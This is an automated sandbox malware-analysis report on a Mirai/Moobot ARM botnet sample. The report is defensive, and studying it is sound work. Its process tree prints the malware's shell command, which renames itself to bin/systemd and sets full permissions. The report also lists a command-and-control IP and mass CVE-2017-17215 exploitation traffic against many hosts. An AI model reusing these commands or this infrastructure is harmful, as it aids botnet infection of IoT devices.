Edit tour

Linux Analysis Report
arm7.elf

Overview

General Information

Sample name:	arm7.elf
Analysis ID:	1410263
MD5:	372152ecc87d00e192ac00160b4145b2
SHA1:	b4e356abfafe613b51d7ae5e522d2de97e9a744b
SHA256:	9ab3c796addbb1388d08321bffd7d11b5f9ed8d27bab60113ced7387fe59ccf0
Infos:

Detection

Mirai, Moobot

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Yara detected Moobot

Connects to many ports of the same IP (likely port scanning)

Contains symbols with names commonly found in malware

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Sets full permissions to files and/or directories

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1410263
Start date and time:	2024-03-17 03:11:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm7.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/1025@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/arm7.elf
PID:	5486
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

arm7.elf (PID: 5486, Parent: 5410, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm7.elf

arm7.elf New Fork (PID: 5488, Parent: 5486)

sh (PID: 5488, Parent: 5486, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/arm7.elf bin/systemd; chmod 777 bin/systemd"

sh New Fork (PID: 5490, Parent: 5488)

rm (PID: 5490, Parent: 5488, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf bin/systemd

sh New Fork (PID: 5491, Parent: 5488)

mkdir (PID: 5491, Parent: 5488, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir bin

sh New Fork (PID: 5492, Parent: 5488)

mv (PID: 5492, Parent: 5488, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/arm7.elf bin/systemd

sh New Fork (PID: 5493, Parent: 5488)

chmod (PID: 5493, Parent: 5488, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 bin/systemd

arm7.elf New Fork (PID: 5494, Parent: 5486)

arm7.elf New Fork (PID: 5496, Parent: 5494)

arm7.elf New Fork (PID: 5498, Parent: 5494)

xfce4-session New Fork (PID: 5518, Parent: 3011)

xfdesktop (PID: 5518, Parent: 3011, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 21e3a5141-81ff-45e8-a564-651b5b7002ba

xfce4-session New Fork (PID: 5519, Parent: 3011)

xfdesktop (PID: 5519, Parent: 3011, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 21e3a5141-81ff-45e8-a564-651b5b7002ba

xfce4-session New Fork (PID: 5520, Parent: 3011)

xfdesktop (PID: 5520, Parent: 3011, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 21e3a5141-81ff-45e8-a564-651b5b7002ba

xfce4-session New Fork (PID: 5523, Parent: 3011)

xfdesktop (PID: 5523, Parent: 3011, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 21e3a5141-81ff-45e8-a564-651b5b7002ba

xfce4-session New Fork (PID: 5526, Parent: 3011)

xfdesktop (PID: 5526, Parent: 3011, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 21e3a5141-81ff-45e8-a564-651b5b7002ba

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
MooBot		No Attribution	https://blog.netlab.360.com/ddos-botnet-moobot-en/ https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://media.defense.gov/2024/Feb/27/2003400753/-1/-1/0/CSA-RUSSIAN-ACTORS-USE-ROUTERS-FACILITATE-CYBER_OPERATIONS.PDF https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b	https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
arm7.elf	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
arm7.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
arm7.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
arm7.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x144c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14500:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14514:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14528:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1453c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14550:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14564:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14578:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1458c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14604:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14618:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1462c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14640:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14654:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
5486.1.00007f6340017000.00007f634002e000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
5486.1.00007f6340017000.00007f634002e000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5486.1.00007f6340017000.00007f634002e000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5486.1.00007f6340017000.00007f634002e000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x144c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14500:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14514:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14528:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1453c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14550:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14564:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14578:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1458c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14604:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14618:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1462c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14640:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14654:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: arm7.elf PID: 5486	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: arm7.elf PID: 5486	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x22251:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x22265:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x22279:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2228d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x222a1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x222b5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x222c9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x222dd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x222f1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x22305:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x22319:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2232d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x22341:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x22355:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x22369:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2237d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x22391:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x223a5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x223b9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x223cd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x223e1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 1 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.246.217.166

Timestamp:	03/17/24-03:13:00.720172
SID:	2829579
Source Port:	50322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 178.135.113.110

Timestamp:	03/17/24-03:13:31.521405
SID:	2835222
Source Port:	59926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.246.217.166

Timestamp:	03/17/24-03:13:00.720172
SID:	2835222
Source Port:	50322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 178.135.113.110

Timestamp:	03/17/24-03:13:31.521405
SID:	2829579
Source Port:	59926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:11:46.474156
SID:	2030490
Source Port:	56862
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response - Source IP: 103.172.79.74 - Destination IP: 192.168.2.14

Timestamp:	03/17/24-03:13:31.094966
SID:	2030489
Source Port:	43957
Destination Port:	56862
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 34.43.232.84

Timestamp:	03/17/24-03:12:24.451078
SID:	2829579
Source Port:	58750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 121.46.82.246

Timestamp:	03/17/24-03:12:35.829182
SID:	2835222
Source Port:	57516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 166.104.86.136

Timestamp:	03/17/24-03:13:20.209400
SID:	2829579
Source Port:	44816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 34.43.232.84

Timestamp:	03/17/24-03:12:24.451078
SID:	2835222
Source Port:	58750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 121.46.82.246

Timestamp:	03/17/24-03:12:35.829182
SID:	2829579
Source Port:	57516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 166.104.86.136

Timestamp:	03/17/24-03:13:20.209400
SID:	2835222
Source Port:	44816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

String: Content-Length: /proc/proc/%d/cmdlinepgrepwgetcurlpspkillkillallftptftptop/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetssh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/hrm -rf && mkdir ; > && mv ; chmod 777 3f

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56862 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 103.172.79.74:43957 -> 192.168.2.14:56862
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:58750 -> 34.43.232.84:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:58750 -> 34.43.232.84:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:57516 -> 121.46.82.246:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:57516 -> 121.46.82.246:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:50322 -> 197.246.217.166:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:50322 -> 197.246.217.166:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:44816 -> 166.104.86.136:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:44816 -> 166.104.86.136:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:59926 -> 178.135.113.110:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:59926 -> 178.135.113.110:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 103.172.79.74 ports 43957,3,4,5,7,9
Source: global traffic	TCP traffic: 59.57.13.245 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 58750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 50322
Source: unknown	Network traffic detected: HTTP traffic on port 57516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44816 -> 37215

Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 132.43.167.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.226.107.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.136.65.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.21.144.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.118.38.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 47.220.35.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 161.62.170.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.164.139.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.60.28.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 185.252.242.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.175.213.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.33.29.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.196.168.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 107.28.56.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.166.52.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.88.33.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.55.183.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.9.56.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 140.184.237.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 156.214.191.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.92.39.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.58.58.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.246.142.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.234.167.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 143.167.249.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.185.177.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 58.59.49.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.212.255.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.77.24.39:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 65.69.196.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.174.147.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.239.204.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.23.245.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.71.132.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.140.238.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.183.92.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 183.197.247.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.91.73.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 61.76.197.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 169.28.241.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.245.153.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 82.139.154.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 115.172.104.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 74.203.20.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.147.158.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.62.154.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.207.166.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 209.142.137.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 58.167.15.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.231.221.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 91.80.9.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.190.80.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.104.81.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.125.117.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.108.122.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.93.208.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.193.13.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.198.160.85:37215
